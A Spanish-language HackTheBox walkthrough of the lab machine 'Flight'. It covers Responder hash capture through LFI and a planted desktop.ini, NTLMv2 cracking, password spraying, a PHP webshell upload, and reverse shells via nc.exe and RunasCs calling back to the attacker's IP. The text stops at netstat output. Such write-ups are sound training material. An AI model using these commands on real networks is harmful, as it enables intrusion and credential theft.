Entrada

Flight Writeup - HackTheBox

¡Hola!

En este writeup vamos a explorar la máquina Flight de HackTheBox, considerada de dificultad difícil en la plataforma. En esta máquina, realizaremos enumeración web y SMB capturando algunos hashes NTLv2, para el acceso al servidor, explotaremos un archivo desktop.ini para capturar un hash de un usario con permisos de escrita en un recurso compartido que nos permite cargar una webshell, realizaremos un remote portforwarding de un servicio local al cual cargaremos una nueva webshell y finalmente escalaremos privilegios abusando del privilegio SeImpersonatePrivilege.

¡Empecemos!

Reconocimiento activo


Como primer paso, lanzamos el comando ping desde nuestro equipo atacante para verificar si la máquina objetivo está activa.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.187
PING 10.10.11.187 (10.10.11.187) 56(84) bytes of data.
64 bytes from 10.10.11.187: icmp_seq=1 ttl=127 time=107 ms

--- 10.10.11.187 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 107.247/107.247/107.247/0.000 ms

Dado que el TTL es cercano a 128, podemos inferir que la máquina objetivo probablemente sea Windows.

Escaneo


A continuación, realizamos un escaneo con Nmap para identificar los puertos abiertos en el sistema objetivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ nmap -p- --open -n -sS -Pn --min-rate 5000 10.10.11.187 -oG allPorts.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 22:32 -05
Nmap scan report for 10.10.11.187
Host is up (0.11s latency).
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49694/tcp open  unknown
49723/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 26.43 seconds

Enumeración


Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap para realizar pruebas complementarias sobre los puertos y servicios identificados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
❯ nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49694,49723 -sV -sC --min-rate 5000 10.10.11.187 -oN services.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 22:34 -05
Nmap scan report for 10.10.11.187
Host is up (0.11s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-04-18 10:34:31Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49723/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: 6h59m57s
| smb2-time: 
|   date: 2023-04-18T10:35:24
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.74 seconds

Se identifican algunos puertos comunes en entornos de Active Directory, tales como el 53/TCP para DNS, el 88/TCP para Kerberos, el 389/TCP y 636/TCP para LDAP y LDAPS, respectivamente.

HTTP - 80

Si exploramos el servicio web, encontraremos la siguiente página web.

web

Inspeccionamos cada sección y el código fuente de la página web, sin embargo, no encontramos nada relevante. No obstante, al observar el pie de página, identificamos un dominio interesante que también fue detectado por el escaneo de NMAP.

web2

Entonces, agregamos el dominio al archivo /etc/hosts para realizar una traducción de dominio adecuada.

1
echo "10.10.11.187\tflight.htb" >> /etc/hosts

Al acceder al dominio, nos damos cuenta de que se trata de la misma página web analizada anteriormente. Además, el informe de Nmap indica que había un servicio web en el puerto 5985, pero al intentar acceder obtuvimos un código de estado 404.

Fuzzing de dominios

El siguiente paso fue realizar un Fuzzing de directorios sobre los servicios web identificados. No obstante, no encontramos ningún recurso relevante que nos permitiera acceder al servidor.

Posteriormente, procedimos a realizar Fuzzing de subdominios con la herramienta wfuzz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ wfuzz -c -t 200 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.flight.htb" --hh=7069 http://flight.htb
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://flight.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                              
=====================================================================

000000624:   200        90 L     412 W      3996 Ch     "school"                                                                                                             

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

Observamos que se ha identificado un subdominio, por lo que lo agregamos nuevamente al archivo /etc/hosts.

1
2
tail -n 1 /etc/hosts
10.10.11.187	flight.htb	school.flight.htb

Al acceder al dominio, nos encontramos con la siguiente página web.

domain

Notamos que en cada sección de la página web (Home, About Us y Blog), se utiliza una cadena de consulta que pasa un parámetro llamado view con el valor correspondiente al contenido de la página, por ejemplo, home.html.

Ante esta evidencia, intentamos probar si esta URL es vulnerable a LFI accediendo a un archivo local como C:/WINDOWS/System32/drivers/etc/hosts.

lfi

Como podemos ver, tuvimos éxito al acceder al archivo local, lo que indica que la vulnerabilidad está presente.

También intentamos comprobar si es vulnerable a RFI creando un servidor simple con Python y accediendo directamente a él a través de la URL.

1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Como podemos ver, tuvimos éxito al acceder al servidor creado con Python, lo que indica que la URL es vulnerable a RFI.

rfi

Por lo tanto, podemos explotar esta vulnerabilidad subiendo un payload malicioso en nuestro servidor que genere una reverse shell que nos permita acceder al servidor víctima a través de la URL vulnerable, sin embargo, el servidor víctima no lo interpreta correctamente.

Dado que esta máquina corría varios protocolos que se usan en entornos de Active Directory, intentamos acceder a un recurso externo que no existe para envenenar el tráfico e intentar capturar algún hash de un servicio o usuario.

1
http://school.flight.htb/index.php?view=//10.10.14.6/test

Al levantar el responder, logramos obtener el hash del servicio svc_apache.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ responder -I tun0 -dwv
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[...]

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:bbf5a964d32e9ca4:53C32E4A937BEAC4B45C8C629B6F2CA3:0101000000000000804B6EFA8D71D901D45E58BDB75CAEE70000000002000800310054004D004B0001001E00570049004E002D00570031004A004C004A0038004200590038004600370004003400570049004E002D00570031004A004C004A003800420059003800460037002E00310054004D004B002E004C004F00430041004C0003001400310054004D004B002E004C004F00430041004C0005001400310054004D004B002E004C004F00430041004C0007000800804B6EFA8D71D9010600040002000000080030003000000000000000000000000030000010A8C6F32D36B3D02D33BF9622D90A962B5A1D0D099674FF68DA2DE3C6E2EB370A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000

Procedemos a crackear el hash con la herramienta John the Ripper.

1
2
3
4
5
6
7
8
9
❯ john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13      (svc_apache)     
1g 0:00:00:04 DONE (2023-04-18 00:43) 0.2283g/s 2434Kp/s 2434Kc/s 2434KC/s SADSAM..S42150461
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

SMB

Una vez con las credenciales, podemos enumerar el servicio SMB. Empezamos por enumerar los recursos compartidos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --shares
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [+] Enumerated shares
SMB         10.10.11.187    445    G0               Share           Permissions     Remark
SMB         10.10.11.187    445    G0               -----           -----------     ------
SMB         10.10.11.187    445    G0               ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0               C$                              Default share
SMB         10.10.11.187    445    G0               IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0               NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0               Shared          READ            
SMB         10.10.11.187    445    G0               SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0               Users           READ            
SMB         10.10.11.187    445    G0               Web             READ

Podemos observar que solo contamos con permisos de lectura. En el recurso Users encontramos algunas carpetas pertenecientes a usuarios del sistema, incluyendo el archivo desktop.ini, el cual almacena información sobre la configuración de las carpetas del Explorador de archivos en Windows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ smbclient //10.10.11.187/Users -U svc_apache
Password for [WORKGROUP\svc_apache]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Thu Sep 22 15:16:56 2022
  ..                                 DR        0  Thu Sep 22 15:16:56 2022
  .NET v4.5                           D        0  Thu Sep 22 14:28:03 2022
  .NET v4.5 Classic                   D        0  Thu Sep 22 14:28:02 2022
  Administrator                       D        0  Mon Oct 31 13:34:00 2022
  All Users                       DHSrn        0  Sat Sep 15 02:28:48 2018
  C.Bum                               D        0  Thu Sep 22 15:08:23 2022
  Default                           DHR        0  Tue Jul 20 14:20:24 2021
  Default User                    DHSrn        0  Sat Sep 15 02:28:48 2018
  desktop.ini                       AHS      174  Sat Sep 15 02:16:48 2018
  Public                             DR        0  Tue Jul 20 14:23:25 2021
  svc_apache                          D        0  Fri Oct 21 13:50:21 2022

		5056511 blocks of size 4096. 1254658 blocks available
smb: \>

Por otro lado, en el recurso Web encontramos los recursos asociados a las páginas de los dominios flight.htb y school.flight.htb.

1
2
3
4
5
6
7
8
9
10
11
❯ smbclient //10.10.11.187/Web -U svc_apache
Password for [WORKGROUP\svc_apache]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Apr 18 21:27:00 2023
  ..                                  D        0  Tue Apr 18 21:27:00 2023
  flight.htb                          D        0  Tue Apr 18 21:27:00 2023
  school.flight.htb                   D        0  Tue Apr 18 21:27:00 2023

		5056511 blocks of size 4096. 1254228 blocks available
smb: \>

También podemos realizar una enumeración de los usuarios del sistema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [+] Enumerated domain user(s)
SMB         10.10.11.187    445    G0               flight.htb\O.Possum                       badpwdcount: 0 desc: Helpdesk
SMB         10.10.11.187    445    G0               flight.htb\svc_apache                     badpwdcount: 0 desc: Service Apache web
SMB         10.10.11.187    445    G0               flight.htb\V.Stevens                      badpwdcount: 0 desc: Secretary
SMB         10.10.11.187    445    G0               flight.htb\D.Truff                        badpwdcount: 0 desc: Project Manager
SMB         10.10.11.187    445    G0               flight.htb\I.Francis                      badpwdcount: 0 desc: Nobody knows why he's here
SMB         10.10.11.187    445    G0               flight.htb\W.Walker                       badpwdcount: 0 desc: Payroll officer
SMB         10.10.11.187    445    G0               flight.htb\C.Bum                          badpwdcount: 0 desc: Senior Web Developer
SMB         10.10.11.187    445    G0               flight.htb\M.Gold                         badpwdcount: 0 desc: Sysadmin
SMB         10.10.11.187    445    G0               flight.htb\L.Kein                         badpwdcount: 0 desc: Penetration tester
SMB         10.10.11.187    445    G0               flight.htb\G.Lors                         badpwdcount: 0 desc: Sales manager
SMB         10.10.11.187    445    G0               flight.htb\R.Cold                         badpwdcount: 0 desc: HR Assistant
SMB         10.10.11.187    445    G0               flight.htb\S.Moon                         badpwdcount: 0 desc: Junion Web Developer
SMB         10.10.11.187    445    G0               flight.htb\krbtgt                         badpwdcount: 0 desc: Key Distribution Center Service Account
SMB         10.10.11.187    445    G0               flight.htb\Guest                          badpwdcount: 0 desc: Built-in account for guest access to the computer/domain
SMB         10.10.11.187    445    G0               flight.htb\Administrator                  badpwdcount: 0 desc: Built-in account for administering the computer/domain

Copiamos este resultado y creamos un diccionario de usuarios para comprobar si alguno de ellos usa la misma contraseña que el servicio svc_apache.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat users | awk '{print $5}'
flight.htb\O.Possum
flight.htb\svc_apache
flight.htb\V.Stevens
flight.htb\D.Truff
flight.htb\I.Francis
flight.htb\W.Walker
flight.htb\C.Bum
flight.htb\M.Gold
flight.htb\L.Kein
flight.htb\G.Lors
flight.htb\R.Cold
flight.htb\S.Moon
flight.htb\krbtgt
flight.htb\Guest
flight.htb\Administrator
❯ cat users.txt | awk '{print $5}' > users.txt

Podemos confirmar que el usuario S.Moon también utiliza la misma contraseña que el servicio svc_apache.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE

Realizamos nuevamente una enumeración de los recursos compartidos pero como usuario S.Moon para ver si tenemos permisos adicionales.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ crackmapexec smb 10.10.11.187 -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [+] Enumerated shares
SMB         10.10.11.187    445    G0               Share           Permissions     Remark
SMB         10.10.11.187    445    G0               -----           -----------     ------
SMB         10.10.11.187    445    G0               ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0               C$                              Default share
SMB         10.10.11.187    445    G0               IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0               NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0               Shared          READ,WRITE      
SMB         10.10.11.187    445    G0               SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0               Users           READ            
SMB         10.10.11.187    445    G0               Web             READ

Podemos observar que en el recurso Shared tenemos permisos de lectura y escritura. Sin embargo, al acceder a dicho recurso, podemos comprobar que se encuentra vacío y no contiene ningún archivo o carpeta.

1
2
3
4
5
6
7
8
9
❯ smbclient //10.10.11.187/Shared -U S.Moon
Password for [WORKGROUP\S.Moon]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Apr 18 21:53:43 2023
  ..                                  D        0  Tue Apr 18 21:53:43 2023

		5056511 blocks of size 4096. 1255062 blocks available
smb: \>

Explotación


Abuso del archivo desktop.ini

Recordamos que en el recurso Users encontramos el archivo desktop.ini, lo que podría ser una indicación de que la explotación puede ocurrir mediante el abuso de dicho archivo.

Los siguientes enlaces explican cómo funciona el archivo desktop.ini y cómo puede ser explotado:

En resumen, es posible aprovechar el archivo desktop.ini para resolver una ruta de red y, una vez que un usuario acceda a la carpeta, obtener los hashes de sus credenciales de acceso.

Así que creamos un archivo desktop.ini con una ruta de red, como se muestra a continuación:

1
2
[.ShellClassInfo]
IconResource=\\10.10.14.6\test

Posteriormente, lo cargamos en el recurso compartido Shared.

1
2
3
4
5
6
7
8
9
10
11
❯ smbclient //10.10.11.187/Shared -U S.Moon
Password for [WORKGROUP\S.Moon]:
Try "help" to get a list of possible commands.
smb: \> put desktop.ini 
putting file desktop.ini as \desktop.ini (0,1 kb/s) (average 0,1 kb/s)
smb: \> dir
  .                                   D        0  Tue Apr 18 22:11:39 2023
  ..                                  D        0  Tue Apr 18 22:11:39 2023
  desktop.ini                         A       49  Tue Apr 18 22:11:39 2023

		5056511 blocks of size 4096. 1254126 blocks available

Luego, levantamos nuevamente el responder y esperamos la captura de algún hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ responder -I tun0 -dwv
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[...] 

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:9610781b47c9d972:B734D8D3A5B47A4D30A768015F90F979:0101000000000000002733230872D9017F7889FFBD38628100000000020008005A004C003500420001001E00570049004E002D004A0054005400320052005A00550045005A004900340004003400570049004E002D004A0054005400320052005A00550045005A00490034002E005A004C00350042002E004C004F00430041004C00030014005A004C00350042002E004C004F00430041004C00050014005A004C00350042002E004C004F00430041004C0007000800002733230872D901060004000200000008003000300000000000000000000000003000001252D3C3642B0C60C4ED0BB4903C1A4F872362DBF1CCEF26617335C4F85F8E1A0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000

Luego de una espera, obtenemos el hash del usuario c.bum. Por lo tanto, procedemos a crackear el hash con John the Ripper:

1
2
3
4
5
6
7
8
9
❯ john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)     
1g 0:00:00:04 DONE (2023-04-18 15:21) 0.2257g/s 2378Kp/s 2378Kc/s 2378KC/s TinyMutt69..Tiffani29
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

A continuación, volvemos a enumerar los recursos compartidos para verificar si se tienen permisos adicionales sobre otro recurso.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ crackmapexec smb 10.10.11.187 -u c.bum -p 'Tikkycoll_431012284' --shares
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\c.bum:Tikkycoll_431012284 
SMB         10.10.11.187    445    G0               [+] Enumerated shares
SMB         10.10.11.187    445    G0               Share           Permissions     Remark
SMB         10.10.11.187    445    G0               -----           -----------     ------
SMB         10.10.11.187    445    G0               ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0               C$                              Default share
SMB         10.10.11.187    445    G0               IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0               NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0               Shared          READ,WRITE      
SMB         10.10.11.187    445    G0               SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0               Users           READ            
SMB         10.10.11.187    445    G0               Web             READ,WRITE

Podemos observar que el usuario c.bum tiene permisos de lectura y escritura sobre el recurso Web. Si recordamos, este recurso es donde se almacenan los recursos web de los dominios.

Por lo tanto, podemos cargar una webshell en dicho recurso compartido. En este caso, utilizamos la webshell: wwwolf-php-webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ smbclient //10.10.11.187/Web -U c.bum
Password for [WORKGROUP\c.bum]:
Try "help" to get a list of possible commands.
smb: \> cd school.flight.htb\
smb: \school.flight.htb\> put webshell.php 
putting file webshell.php as \school.flight.htb\webshell.php (21,1 kb/s) (average 21,1 kb/s)
smb: \school.flight.htb\> dir
  .                                   D        0  Tue Apr 18 22:34:35 2023
  ..                                  D        0  Tue Apr 18 22:34:35 2023
  about.html                          A     1689  Mon Oct 24 22:54:45 2022
  blog.html                           A     3618  Mon Oct 24 22:53:59 2022
  home.html                           A     2683  Mon Oct 24 22:56:58 2022
  images                              D        0  Tue Apr 18 22:32:00 2023
  index.php                           A     2092  Thu Oct 27 02:59:25 2022
  lfi.html                            A      179  Thu Oct 27 02:55:16 2022
  styles                              D        0  Tue Apr 18 22:32:00 2023
  webshell.php                        A     7205  Tue Apr 18 22:34:35 2023

		5056511 blocks of size 4096. 1252493 blocks available

Una vez cargada la web shell, lo que podemos hacer es subir el ejecutable nc.exe para establecer una reverse shell.

Creamos una carpeta en la raíz para almacenar el ejecutable.

nc

Nos ubicamos en el directorio /usr/share/windows-resources/binaries/nc.exe en nuestro sistema Kali y generamos un servidor HTTP simple con Python para compartir el ejecutable.

1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde la webshell, lo descargamos con el siguiente comando:

download_nc

Una vez que tenemos el ejecutable en la máquina víctima, podemos establecer una reverse shell con el siguiente comando:

reverse_shell

Para obtener la conexión, debemos establecer el listener en el puerto correspondiente.

1
2
3
4
5
6
7
8
9
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.187] 50089
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\nc>whoami
whoami
flight\svc_apache

Como vemos, obtenemos acceso como usuario svc_apache. Sin embargo, ya tenemos las credenciales del usuario c.bum, por lo que podemos usar la utilidad RunasCs para ejecutar procesos específicos con diferentes permisos que los que proporciona el inicio de sesión actual del usuario, utilizando credenciales explícitas.

Así que compartimos la utilidad creando un servidor HTTP con Python.

1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

La descargamos en la máquina víctima.

1
2
3
4
5
C:\Users\svc_apache\Desktop>curl http://10.10.14.6/RunasCs.cs -o RunasCs.cs
curl http://10.10.14.6/RunasCs.cs -o RunasCs.cs
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 80738  100 80738    0     0   153k      0 --:--:-- --:--:-- --:--:--  153k

Y posteriormente la compilamos con el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\svc_apache\Desktop>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs
Microsoft (R) Visual C# Compiler version 4.7.3190.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

RunasCs.cs(277,29): warning CS0612: 'RunasCs.inet_addr(string)' is obsolete
RunasCs.cs(1306,19): warning CS0649: Field 'AccessToken.TOKEN_PRIVILEGES.PrivilegeCount' is never assigned to, and will always have its default value 0
RunasCs.cs(1308,38): warning CS0649: Field 'AccessToken.TOKEN_PRIVILEGES.Privileges' is never assigned to, and will always have its default value null
RunasCs.cs(1332,23): warning CS0649: Field 'AccessToken.TOKEN_ELEVATION.TokenIsElevated' is never assigned to, and will always have its default value 0

Una vez compilada, ejecutamos el siguiente comando para generar un proceso que ejecute una PowerShell remota hacia nuestra máquina atacante en el puerto 444.

1
2
3
4
5
6
7
8
C:\Users\svc_apache\Desktop>RunasCs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.14.6:444
RunasCs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.14.6:444
[*] Warning: Using function CreateProcessWithLogonW is not compatible with logon type 8. Reverting to logon type Interactive (2)...
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-5b1d1$\Default
[+] Async process 'powershell' with pid 1260 created and left in background.

C:\Users\svc_apache\Desktop>

Para recibir la conexión, primero debemos establecer nuestro listener en el puerto correspondiente.

1
2
3
4
5
6
7
8
9
❯ nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.187] 50208
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
flight\c.bum

Una vez como usuario c.bum, ya podemos leer la primera flag en el escritorio del usuario.

1
2
3
PS C:\Users\C.Bum\Desktop> type user.txt
type user.txt
0a57169b198f0be2****************

Al listar todas las conexiones TCP activas y los puertos TCP y UDP en los que escucha el equipo, podemos identificar que el puerto 8000 está en escucha. Este puerto suele ser usado para un servidor web HTTP alternativo. Lo extraño es que este puerto no aparecía en el escaneo de nmap, lo que sugiere que posiblemente se esté ejecutando localmente en la máquina.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS C:\Users\C.Bum\Desktop> netstat -a
netstat -a

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             g0:0                   LISTENING
  TCP    0.0.0.0:88             g0:0                   LISTENING
  TCP    0.0.0.0:135            g0:0                   LISTENING
  TCP    0.0.0.0:389            g0:0                   LISTENING
  TCP    0.0.0.0:443            g0:0                   LISTENING
  TCP    0.0.0.0:445            g0:0                   LISTENING
  TCP    0.0.0.0:464            g0:0                   LISTENING
  TCP    0.0.0.0:593            g0:0                   LISTENING
  TCP    0.0.0.0:636            g0:0                   LISTENING
  TCP    0.0.0.0:3268           g0:0                   LISTENING
  TCP    0.0.0.0:3269           g0:0                   LISTENING
  TCP    0.0.0.0:5985           g0:0                   LISTENING
  TCP    0.0.0.0:8000           g0:0                   LISTENING
